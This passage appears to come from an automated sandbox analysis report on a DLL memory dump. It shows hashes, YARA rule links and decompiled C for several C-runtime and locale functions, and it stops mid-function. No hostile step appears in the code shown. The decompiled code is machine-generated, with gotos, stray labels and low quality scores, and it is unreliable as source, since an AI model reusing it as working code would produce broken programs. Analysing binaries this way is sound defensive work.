Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHeapLast_free$AllocateByteCharFreeMultiWide__freea
String ID:
API String ID: 342580553-0
Opcode ID: afa8cb0de6c7da5b5faeb01bc1b869bc0720f551fe671f7e2d9387dc8cd94ed9
Instruction ID: 1145ec281fbb0879066b52dbb3af679d24ee04128e53c92a150edc24eec261d7
Opcode Fuzzy Hash: afa8cb0de6c7da5b5faeb01bc1b869bc0720f551fe671f7e2d9387dc8cd94ed9
Instruction Fuzzy Hash: 9841A031900219AADF218EA98C54F9B7BBDFF55310F604495F91AE7180EB31C980AF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E18BA6C, Relevance: 4.5, APIs: 3, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6E18BA6C(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t8;
				void* _t10;
				void* _t15;
				void* _t17;
				intOrPtr _t23;
				intOrPtr _t24;

				_t23 = _a4;
				if( *((intOrPtr*)(_t23 + 0xb4)) != 0) {
					_t24 = E6E17FB55(_t15, 1, 0x164);
					_pop(_t17);
					__eflags = _t24;
					if(__eflags != 0) {
						_t8 = E6E18B70B(_t17, __eflags, _t24, _t23); // executed
						__eflags = _t8;
						if(_t8 != 0) {
							 *((intOrPtr*)(_t24 + 0xb0)) = 1;
							_t6 = E6E17FBB2(0);
							goto L8;
						} else {
							E6E18B988(_t24);
							E6E17FBB2(_t24);
							goto L6;
						}
					} else {
						E6E17FBB2(_t7);
						L6:
						_t10 = 1;
					}
				} else {
					_t24 = 0x6e1afde8;
					L8:
					E6E18993F(_t6,  *((intOrPtr*)(_t23 + 0x9c)));
					 *((intOrPtr*)(_t23 + 0x9c)) = _t24;
					_t10 = 0;
				}
				return _t10;
			}

0x6e18ba73
0x6e18ba7d
0x6e18ba92
0x6e18ba95
0x6e18ba96
0x6e18ba98
0x6e18baa4
0x6e18baab
0x6e18baad
0x6e18bac3
0x6e18bacd
0x00000000
0x6e18baaf
0x6e18bab0
0x6e18bab6
0x00000000
0x6e18babb
0x6e18ba9a
0x6e18ba9b
0x6e18babc
0x6e18babe
0x6e18babe
0x6e18ba7f
0x6e18ba7f
0x6e18bad3
0x6e18bad9
0x6e18bade
0x6e18bae4
0x6e18bae4
0x6e18baea

APIs

_free.LIBCMT ref: 6E18BA9B

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ab6ab329787eeed0bfd877cf7b4c343a9f843da37b762bc2db189bbda5ab9628
Instruction ID: 1be3fa613357a590a7a745abd7f1e7d8be613f53318f572c0b20eb25a3bb3ddf
Opcode Fuzzy Hash: ab6ab329787eeed0bfd877cf7b4c343a9f843da37b762bc2db189bbda5ab9628
Instruction Fuzzy Hash: 45F0283B54C7117EE625DEF9A808FCB7B5DEF42738F30081AE42867184DB6118C16AE1

Uniqueness

Uniqueness Score: -1.00%

Function 6E183A21, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E6E183A21(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t7;
				intOrPtr* _t22;
				signed int _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t7 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t7 ^ _t24;
				_t22 = E6E1835C0(0x11, "GetUserDefaultLocaleName", 0x6e1b05ec, "GetUserDefaultLocaleName");
				if(_t22 == 0) {
					E6E183B4D(__ebx, _t16, __edi, _t22, __eflags, GetUserDefaultLCID(), _a4, _a8, 0);
				} else {
					 *0x6e1911c4(_a4, _a8); // executed
					 *_t22(); // executed
				}
				return E6E173D51(_v8 ^ _t24);
			}

0x6e183a21
0x6e183a26
0x6e183a27
0x6e183a2e
0x6e183a48
0x6e183a4f
0x6e183a72
0x6e183a51
0x6e183a59
0x6e183a5f
0x6e183a5f
0x6e183a85

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,00000000,6E18BCFB,?,00000055,00000050), ref: 6E183A6B

Strings

GetUserDefaultLocaleName, xrefs: 6E183A32, 6E183A3C

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: DefaultUser
String ID: GetUserDefaultLocaleName
API String ID: 3358694519-151340334
Opcode ID: e99ba5ff2582903fde542237882a8e3349f0fd6e4da946c06924594b364236bb
Instruction ID: 72102fec3eca9980f863d3d95ab87263f0223e0a7e7114dd19b59e5522be47c9
Opcode Fuzzy Hash: e99ba5ff2582903fde542237882a8e3349f0fd6e4da946c06924594b364236bb
Instruction Fuzzy Hash: 41F09071640108BBCF11AFA4CD48EAF7F58EB05710F018065F8155A650DA319E92BE84

Uniqueness

Uniqueness Score: -1.00%

Function 6E17227E, Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E6E17227E(void* __ebx, intOrPtr* __ecx, void* __edx, void* __esi, void* __eflags) {
				intOrPtr _t9;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t19;

				_push(0);
				E6E174493();
				_t16 = __ecx;
				_push(8);
				 *__ecx = 0x6e1ab338;
				_t18 = E6E173D05(__ebx, __edx, __ecx, __esi, __eflags);
				if(_t18 == 0) {
					_t18 = 0;
					__eflags = 0;
				} else {
					 *(_t19 - 4) =  *(_t19 - 4) & 0x00000000;
					_push(1); // executed
					_t9 = E6E171E3A(__ebx); // executed
					 *((intOrPtr*)(_t18 + 4)) = _t9;
				}
				 *((intOrPtr*)(_t16 + 0x34)) = _t18;
				E6E172735(_t16);
				E6E17446D();
				return _t16;
			}

0x6e17227e
0x6e172285
0x6e17228a
0x6e17228c
0x6e17228e
0x6e172299
0x6e17229e
0x6e1722b1
0x6e1722b1
0x6e1722a0
0x6e1722a0
0x6e1722a4
0x6e1722a6
0x6e1722ac
0x6e1722ac
0x6e1722b5
0x6e1722b8
0x6e1722bf
0x6e1722c4

APIs

__EH_prolog3.LIBCMT ref: 6E172285
std::locale::_Init.LIBCPMT ref: 6E1722A6

Part of subcall function 6E171E3A: __EH_prolog3.LIBCMT ref: 6E171E41
Part of subcall function 6E171E3A: std::_Lockit::_Lockit.LIBCPMT ref: 6E171E4C
Part of subcall function 6E171E3A: std::locale::_Setgloballocale.LIBCPMT ref: 6E171E67
Part of subcall function 6E171E3A: _Yarn.LIBCPMT ref: 6E171E7D
Part of subcall function 6E171E3A: std::_Lockit::~_Lockit.LIBCPMT ref: 6E171EBD

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 3152668004-0
Opcode ID: b79b8af57f462a03c6d2f0ad4127546b337ce492f3cc6f978a4f9ed15637182b
Instruction ID: 90dffdd281787d89574233f7f1c7f2aa6750beda835ab0bf019dcb9f50bab4c2
Opcode Fuzzy Hash: b79b8af57f462a03c6d2f0ad4127546b337ce492f3cc6f978a4f9ed15637182b
Instruction Fuzzy Hash: 72E0DFB5A056128BDE318BE8A91139DA65A6F84F58F910819D401AB680DFB088C2B781

Uniqueness

Uniqueness Score: -1.00%

Function 6E1817C5, Relevance: 1.8, APIs: 1, Instructions: 292
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E6E1817C5(void* __ebx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int _a24) {
				char _v0;
				char _v4;
				signed int _v8;
				char _v13;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char* _v36;
				char* _v40;
				char* _v44;
				char* _v48;
				char _v52;
				char _v180;
				char _v468;
				signed int _v472;
				signed int* _v476;
				signed int _v480;
				signed int _v484;
				signed short _v488;
				signed int _v492;
				signed int _v496;
				intOrPtr _v500;
				signed int _v504;
				signed int _v524;
				intOrPtr _v568;
				signed int _v588;
				signed int _v592;
				void* __ebp;
				signed int _t97;
				void* _t100;
				signed int _t102;
				signed int _t104;
				char _t108;
				signed int _t123;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				signed int _t130;
				signed int _t134;
				signed short _t135;
				signed int _t137;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t146;
				char* _t147;
				signed int _t148;
				intOrPtr _t151;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t165;
				signed int* _t166;
				void* _t168;
				void* _t174;
				signed int _t176;
				intOrPtr* _t180;
				signed int _t184;
				intOrPtr* _t185;
				signed int _t187;
				signed int _t191;
				void* _t192;
				signed int _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t182 = __edx;
				_t97 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t97 ^ _t195;
				_push(__ebx);
				_t161 = _a24;
				_push(__esi);
				_t191 = _a4;
				_v492 = _a8;
				_v496 = _t161;
				_push(__edi);
				_t184 = _a16;
				_v480 = _t184;
				if(_t191 != 0) {
					_t100 = E6E17FA06(_t161, _t168, __edx);
					_push(0x55);
					_t10 = _t100 + 0x68; // 0x68
					_v476 = _t10;
					_t12 = _t100 + 0x6c; // 0x6c
					_v484 = _t12;
					_t14 = _t100 + 0x172; // 0x172
					_v472 = _t14;
					_t172 = 0;
					_v500 = _t100 + 0x2a0;
					_v504 = 0;
					_v488 = 0;
					_t102 = E6E18BC2D(0, _t184, _a20, _t100 + 0x2a0);
					_t199 = _t198 + 0x10;
					__eflags = _t102;
					if(_t102 != 0) {
						L38:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						goto L63;
					} else {
						__eflags =  *_t191 - 0x43;
						if( *_t191 != 0x43) {
							L10:
							_t187 = _t191;
							_t182 = 0;
							__eflags = 0;
							_t174 = _t187 + 2;
							do {
								_t123 =  *_t187;
								_t187 = _t187 + 2;
								__eflags = _t123;
							} while (_t123 != 0);
							_t184 = _t187 - _t174 >> 1;
							__eflags = _t184 - 0x83;
							if(_t184 >= 0x83) {
								L29:
								_t124 = E6E183C9B();
								__eflags = _t124;
								_t165 = 0 | _t124 == 0x00000000;
								_t126 = E6E181667(_t165,  &_v468, _t191);
								_pop(_t172);
								__eflags = _t126;
								if(__eflags != 0) {
									_t166 = _v476;
									goto L40;
								} else {
									_t147 =  &_v468;
									__eflags = _t165;
									_t166 = _v476;
									_push(_t147);
									_push(_t166);
									_push(_t147);
									if(_t165 == 0) {
										_t148 = E6E18C3CB(_t166, _t172, _t182, _t184, _t191); // executed
									} else {
										_t148 = E6E18CD03(_t166, _t172, _t182, _t184, _t191);
									}
									_t199 = _t199 + 0xc;
									__eflags = _t148;
									if(__eflags == 0) {
										L40:
										__eflags = E6E183AEA(_t172, _t191, __eflags, _t191);
										if(__eflags == 0) {
											_t161 = _v480;
											_t191 = 0;
											__eflags = 0;
											_t176 = _t161;
											_t182 = _t176 + 2;
											do {
												_t128 =  *_t176;
												_t176 = _t176 + 2;
												__eflags = _t128;
											} while (_t128 != 0);
											_t172 = _t176 - _t182 >> 1;
											_push((_t176 - _t182 >> 1) + 1);
											_t130 = E6E18BC2D(_t176 - _t182 >> 1, _v500, 0x55, _t161);
											_t199 = _t199 + 0x10;
											__eflags = _t130;
											if(_t130 == 0) {
												goto L1;
											} else {
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												goto L63;
											}
										} else {
											_t134 = E6E183961(_t172, _t191, __eflags, _t191, 0x20001004,  &_v488, 2);
											__eflags = _t134;
											if(_t134 == 0) {
												L43:
												_t135 = GetACP();
												_v488 = _t135;
											} else {
												_t135 = _v488;
												__eflags = _t135;
												if(_t135 == 0) {
													goto L43;
												}
											}
											 *_t166 = _t135 & 0x0000ffff;
											_t161 = _t184 + 1;
											_push(_t161);
											_t137 = E6E18BC2D(_t172, _v472, 0x83, _t191);
											_t199 = _t199 + 0x10;
											__eflags = _t137;
											if(_t137 != 0) {
												goto L38;
											} else {
												_push(_t161);
												_t138 = E6E18BC2D(_t172, _v480, _a20, _t191);
												_t199 = _t199 + 0x10;
												__eflags = _t138;
												if(_t138 != 0) {
													goto L38;
												} else {
													_push(_t161);
													_push(_t191);
													_push(0x55);
													_push(_v500);
													goto L47;
												}
											}
										}
									} else {
										_push( &_v468);
										E6E1815F7(_t166, _t172, _v472, 0x83);
										_t161 = _v480;
										_t199 = _t199 + 0xc;
										__eflags = _t161;
										if(_t161 == 0) {
											L48:
											_t161 = 0;
											__eflags =  *_t191;
											if( *_t191 == 0) {
												L52:
												_t172 = 0;
												__eflags = 0;
												 *_v484 = 0;
												goto L53;
											} else {
												_t172 = 0x83;
												__eflags = _t184 - 0x83;
												if(_t184 >= 0x83) {
													goto L52;
												} else {
													_push(_t184 + 1);
													_t146 = E6E18BC2D(0x83, _v484, 0x83, _t191);
													_t199 = _t199 + 0x10;
													__eflags = _t146;
													if(_t146 == 0) {
														L53:
														_t161 = _v496;
														goto L54;
													} else {
														_push(0);
														_push(0);
														_push(0);
														_push(0);
														_push(0);
														goto L63;
													}
												}
											}
										} else {
											_t180 =  &_v180;
											_t182 = _t180 + 2;
											do {
												_t151 =  *_t180;
												_t180 = _t180 + 2;
												__eflags = _t151 - _v504;
											} while (_t151 != _v504);
											_t172 = _t180 - _t182 >> 1;
											_push((_t180 - _t182 >> 1) + 1);
											_push( &_v180);
											_push(_a20);
											_push(_t161);
											L47:
											_t139 = E6E18BC2D(_t172);
											_t199 = _t199 + 0x10;
											__eflags = _t139;
											if(_t139 != 0) {
												goto L38;
											} else {
												goto L48;
											}
										}
									}
								}
							} else {
								_t154 = _v472;
								_t172 = _t191;
								while(1) {
									_t182 =  *_t154;
									__eflags = _t182 -  *_t172;
									if(_t182 !=  *_t172) {
										break;
									}
									__eflags = _t182;
									if(_t182 == 0) {
										L18:
										_t155 = 0;
									} else {
										_t182 =  *((intOrPtr*)(_t154 + 2));
										__eflags = _t182 -  *((intOrPtr*)(_t172 + 2));
										if(_t182 !=  *((intOrPtr*)(_t172 + 2))) {
											break;
										} else {
											_t154 = _t154 + 4;
											_t172 = _t172 + 4;
											__eflags = _t182;
											if(_t182 != 0) {
												continue;
											} else {
												goto L18;
											}
										}
									}
									L20:
									__eflags = _t155;
									if(_t155 == 0) {
										L54:
										__eflags = _t161;
										if(_t161 != 0) {
											 *_t161 =  *_v476;
										}
										_t161 = _v472;
										_t191 = _v492;
										_t141 = E6E17D69C(_t191, _a12, _t161);
										_t199 = _t199 + 0xc;
										__eflags = _t141;
										if(_t141 != 0) {
											goto L38;
										} else {
											goto L2;
										}
									} else {
										_t156 = _v484;
										_t172 = _t191;
										while(1) {
											_t182 =  *_t156;
											__eflags = _t182 -  *_t172;
											if(_t182 !=  *_t172) {
												break;
											}
											__eflags = _t182;
											if(_t182 == 0) {
												L26:
												_t157 = 0;
											} else {
												_t182 =  *((intOrPtr*)(_t156 + 2));
												__eflags = _t182 -  *((intOrPtr*)(_t172 + 2));
												if(_t182 !=  *((intOrPtr*)(_t172 + 2))) {
													break;
												} else {
													_t156 = _t156 + 4;
													_t172 = _t172 + 4;
													__eflags = _t182;
													if(_t182 != 0) {
														continue;
													} else {
														goto L26;
													}
												}
											}
											L28:
											__eflags = _t157;
											if(_t157 == 0) {
												goto L54;
											} else {
												goto L29;
											}
											goto L75;
										}
										asm("sbb eax, eax");
										_t157 = _t156 | 0x00000001;
										__eflags = _t157;
										goto L28;
									}
									goto L75;
								}
								asm("sbb eax, eax");
								_t155 = _t154 | 0x00000001;
								__eflags = _t155;
								goto L20;
							}
						} else {
							_t184 = 0;
							__eflags =  *(_t191 + 2);
							if( *(_t191 + 2) != 0) {
								goto L10;
							} else {
								_t191 = _v492;
								_t158 = E6E17D69C(_t191, _a12, 0x6e1afa78);
								_t199 = _t199 + 0xc;
								__eflags = _t158;
								if(_t158 != 0) {
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									L63:
									_t104 = E6E178956();
									asm("int3");
									_push(_t195);
									_t196 = _t199;
									_push(_t161);
									_push(_t191);
									_t192 = 0;
									__eflags = _v524;
									if(_v524 > 0) {
										_push(_t184);
										_t185 =  &_a8;
										while(1) {
											_t67 = _t185 + 4; // 0x8914c483
											_t185 = _t67;
											_t104 = E6E18BAEB(_v0, _a4,  *_t185);
											_t199 = _t199 + 0xc;
											__eflags = _t104;
											if(_t104 != 0) {
												break;
											}
											_t192 = _t192 + 1;
											__eflags = _t192 - _a8;
											if(_t192 < _a8) {
												continue;
											}
											goto L69;
										}
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E6E178956();
										asm("int3");
										_push(_t196);
										_v588 = _v588 & 0x00000000;
										_v592 = _v592 & 0x00000000;
										__eflags = _v568 - 5;
										if(_v568 <= 5) {
											_v20 = E6E17FA06(0, _t172, _t182);
											E6E1899E9(0, _t172, _t182, __eflags);
											_t108 = _v20;
											_t79 = _t108 + 0x350;
											 *_t79 =  *(_t108 + 0x350) | 0x00000010;
											__eflags =  *_t79;
											_v32 =  &_v20;
											_v52 =  &_v28;
											_v48 =  &_v20;
											_v44 =  &_v24;
											_v40 =  &_v4;
											_v36 =  &_v0;
											_push( &_v32);
											_push( &_v52);
											_push( &_v13); // executed
											E6E181334( &_v13, _t182,  *_t79); // executed
											return _v24;
										}
										 *((intOrPtr*)(E6E17BB7E())) = 0x16;
										E6E178929();
										return 0;
									}
									L69:
									return _t104;
								} else {
									__eflags = _t161;
									if(_t161 != 0) {
										 *_t161 = 0;
									}
									goto L2;
								}
							}
						}
					}
				} else {
					L1:
					L2:
					return E6E173D51(_v8 ^ _t195);
				}
				goto L75;
			}

0x6e1817c5
0x6e1817d0
0x6e1817d7
0x6e1817dd
0x6e1817de
0x6e1817e1
0x6e1817e2
0x6e1817e5
0x6e1817eb
0x6e1817f1
0x6e1817f2
0x6e1817f5
0x6e1817fd
0x6e181812
0x6e181817
0x6e181819
0x6e18181c
0x6e181822
0x6e181825
0x6e18182b
0x6e181836
0x6e181840
0x6e181842
0x6e181849
0x6e18184f
0x6e181855
0x6e18185a
0x6e18185d
0x6e18185f
0x6e1819d4
0x6e1819d6
0x6e1819d7
0x6e1819d8
0x6e1819d9
0x6e1819da
0x00000000
0x6e181865
0x6e181865
0x6e181869
0x6e18189f
0x6e18189f
0x6e1818a1
0x6e1818a1
0x6e1818a3
0x6e1818a6
0x6e1818a6
0x6e1818a9
0x6e1818ac
0x6e1818ac
0x6e1818b3
0x6e1818b5
0x6e1818bb
0x6e181933
0x6e181933
0x6e18193a
0x6e181944
0x6e181947
0x6e18194d
0x6e18194e
0x6e181950
0x6e1819e0
0x00000000
0x6e181956
0x6e181956
0x6e18195c
0x6e18195e
0x6e181964
0x6e181965
0x6e181966
0x6e181967
0x6e181970
0x6e181969
0x6e181969
0x6e181969
0x6e181975
0x6e181978
0x6e18197a
0x6e1819e6
0x6e1819ec
0x6e1819ee
0x6e181af1
0x6e181af7
0x6e181af7
0x6e181af9
0x6e181afb
0x6e181afe
0x6e181afe
0x6e181b01
0x6e181b04
0x6e181b04
0x6e181b0b
0x6e181b10
0x6e181b1a
0x6e181b1f
0x6e181b22
0x6e181b24
0x00000000
0x6e181b2a
0x6e181b2a
0x6e181b2b
0x6e181b2c
0x6e181b2d
0x6e181b2e
0x00000000
0x6e181b2e
0x6e1819f4
0x6e181a03
0x6e181a08
0x6e181a0a
0x6e181a16
0x6e181a16
0x6e181a1c
0x6e181a0c
0x6e181a0c
0x6e181a12
0x6e181a14
0x00000000
0x00000000
0x6e181a14
0x6e181a25
0x6e181a27
0x6e181a2a
0x6e181a37
0x6e181a3c
0x6e181a3f
0x6e181a41
0x00000000
0x6e181a43
0x6e181a43
0x6e181a4e
0x6e181a53
0x6e181a56
0x6e181a58
0x00000000
0x6e181a5e
0x6e181a5e
0x6e181a5f
0x6e181a60
0x6e181a62
0x00000000
0x6e181a62
0x6e181a58
0x6e181a41
0x6e18197c
0x6e181982
0x6e18198e
0x6e181993
0x6e181999
0x6e18199c
0x6e18199e
0x6e181a78
0x6e181a78
0x6e181a7a
0x6e181a7d
0x6e181aaa
0x6e181ab0
0x6e181ab0
0x6e181ab2
0x00000000
0x6e181a7f
0x6e181a7f
0x6e181a84
0x6e181a86
0x00000000
0x6e181a88
0x6e181a8b
0x6e181a94
0x6e181a99
0x6e181a9c
0x6e181a9e
0x6e181ab5
0x6e181ab5
0x00000000
0x6e181aa0
0x6e181aa0
0x6e181aa1
0x6e181aa2
0x6e181aa3
0x6e181aa4
0x00000000
0x6e181aa4
0x6e181a9e
0x6e181a86
0x6e1819a4
0x6e1819a4
0x6e1819aa
0x6e1819ad
0x6e1819ad
0x6e1819b0
0x6e1819b3
0x6e1819b3
0x6e1819be
0x6e1819c3
0x6e1819ca
0x6e1819cb
0x6e1819ce
0x6e181a68
0x6e181a68
0x6e181a6d
0x6e181a70
0x6e181a72
0x00000000
0x00000000
0x00000000
0x00000000
0x6e181a72
0x6e18199e
0x6e18197a
0x6e1818bd
0x6e1818bd
0x6e1818c3
0x6e1818c5
0x6e1818c5
0x6e1818c8
0x6e1818cb
0x00000000
0x00000000
0x6e1818cd
0x6e1818d0
0x6e1818e7
0x6e1818e7
0x6e1818d2
0x6e1818d2
0x6e1818d6
0x6e1818da
0x00000000
0x6e1818dc
0x6e1818dc
0x6e1818df
0x6e1818e2
0x6e1818e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1818e5
0x6e1818da
0x6e1818f0
0x6e1818f0
0x6e1818f2
0x6e181abb
0x6e181abb
0x6e181abd
0x6e181ac7
0x6e181ac7
0x6e181ac9
0x6e181acf
0x6e181ada
0x6e181adf
0x6e181ae2
0x6e181ae4
0x00000000
0x6e181aea
0x00000000
0x6e181aea
0x6e1818f8
0x6e1818f8
0x6e1818fe
0x6e181900
0x6e181900
0x6e181903
0x6e181906
0x00000000
0x00000000
0x6e181908
0x6e18190b
0x6e181922
0x6e181922
0x6e18190d
0x6e18190d
0x6e181911
0x6e181915
0x00000000
0x6e181917
0x6e181917
0x6e18191a
0x6e18191d
0x6e181920
0x00000000
0x00000000
0x00000000
0x00000000
0x6e181920
0x6e181915
0x6e18192b
0x6e18192b
0x6e18192d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18192d
0x6e181926
0x6e181928
0x6e181928
0x00000000
0x6e181928
0x00000000
0x6e1818f2
0x6e1818eb
0x6e1818ed
0x6e1818ed
0x00000000
0x6e1818ed
0x6e18186b
0x6e18186b
0x6e18186d
0x6e181871
0x00000000
0x6e181873
0x6e181873
0x6e181882
0x6e181887
0x6e18188a
0x6e18188c
0x6e181b31
0x6e181b32
0x6e181b33
0x6e181b34
0x6e181b35
0x6e181b36
0x6e181b36
0x6e181b3b
0x6e181b3e
0x6e181b3f
0x6e181b41
0x6e181b44
0x6e181b45
0x6e181b47
0x6e181b4a
0x6e181b4c
0x6e181b4d
0x6e181b50
0x6e181b50
0x6e181b50
0x6e181b5b
0x6e181b60
0x6e181b63
0x6e181b65
0x00000000
0x00000000
0x6e181b67
0x6e181b68
0x6e181b6b
0x00000000
0x00000000
0x00000000
0x6e181b6d
0x6e181b72
0x6e181b73
0x6e181b74
0x6e181b75
0x6e181b76
0x6e181b77
0x6e181b7c
0x6e181b7f
0x6e181b85
0x6e181b89
0x6e181b8d
0x6e181b91
0x6e181bac
0x6e181baf
0x6e181bb4
0x6e181bba
0x6e181bba
0x6e181bba
0x6e181bc4
0x6e181bca
0x6e181bd0
0x6e181bd6
0x6e181bdc
0x6e181be2
0x6e181be8
0x6e181bec
0x6e181bf0
0x6e181bf1
0x00000000
0x6e181bf6
0x6e181b98
0x6e181b9e
0x00000000
0x6e181ba3
0x6e181b6e
0x6e181b71
0x6e181892
0x6e181892
0x6e181894
0x6e181896
0x6e181896
0x00000000
0x6e181898
0x6e18188c
0x6e181871
0x6e181869
0x6e1817ff
0x6e1817ff
0x6e181801
0x6e181811
0x6e181811
0x00000000

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CodeCurrentFeaturePagePresentProcessorTerminateValid
String ID:
API String ID: 2794151160-0
Opcode ID: d7116cd76911b7916cc15ab11a14f88ac13f903d934e4d8ebe6a87b634a2bc45
Instruction ID: b9b75529acdae2f0f577f246b01e242218113ddb75829e518040f0eef7081ba7
Opcode Fuzzy Hash: d7116cd76911b7916cc15ab11a14f88ac13f903d934e4d8ebe6a87b634a2bc45
Instruction Fuzzy Hash: F891D272B002169BDB60DF94CC51BEB73B9EF29344F5004A9ED2997244E7319AC9DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E17E78A, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E17E860

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4d7dc89682687dcc3771816e955e73ee0b1a9f321433ef0a644a0e2408860d5e
Instruction ID: 68f4e2add58e124667e3504dbf919d5de03c9e4ed123a99d7016bb88ce39c37a
Opcode Fuzzy Hash: 4d7dc89682687dcc3771816e955e73ee0b1a9f321433ef0a644a0e2408860d5e
Instruction Fuzzy Hash: 20415E31A107148FDF14CFA9D4C099A7BF1AF8A710B2181A9E515EB3A4D7309D81DB80

Uniqueness

Uniqueness Score: -1.00%

Function 6E183D8A, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6E183D8A(void* __esi, void* __eflags) {
				intOrPtr _v12;
				void* __ecx;
				char _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t30;
				char _t31;
				void* _t33;
				intOrPtr* _t35;

				_push(_t26);
				_push(_t26);
				_t16 = E6E17FB55(_t26, 0x40, 0x30); // executed
				_t31 = _t16;
				_v12 = _t31;
				_t28 = _t30;
				if(_t31 != 0) {
					_t2 = _t31 + 0xc00; // 0xc00
					_t17 = _t2;
					__eflags = _t31 - _t17;
					if(__eflags != 0) {
						_t3 = _t31 + 0x20; // 0x20
						_t35 = _t3;
						_t33 = _t17;
						do {
							_t4 = _t35 - 0x20; // 0x0
							E6E183A88(_t28, _t35, __eflags, _t4, 0xfa0, 0);
							 *(_t35 - 8) =  *(_t35 - 8) | 0xffffffff;
							 *_t35 = 0;
							_t35 = _t35 + 0x30;
							 *((intOrPtr*)(_t35 - 0x2c)) = 0;
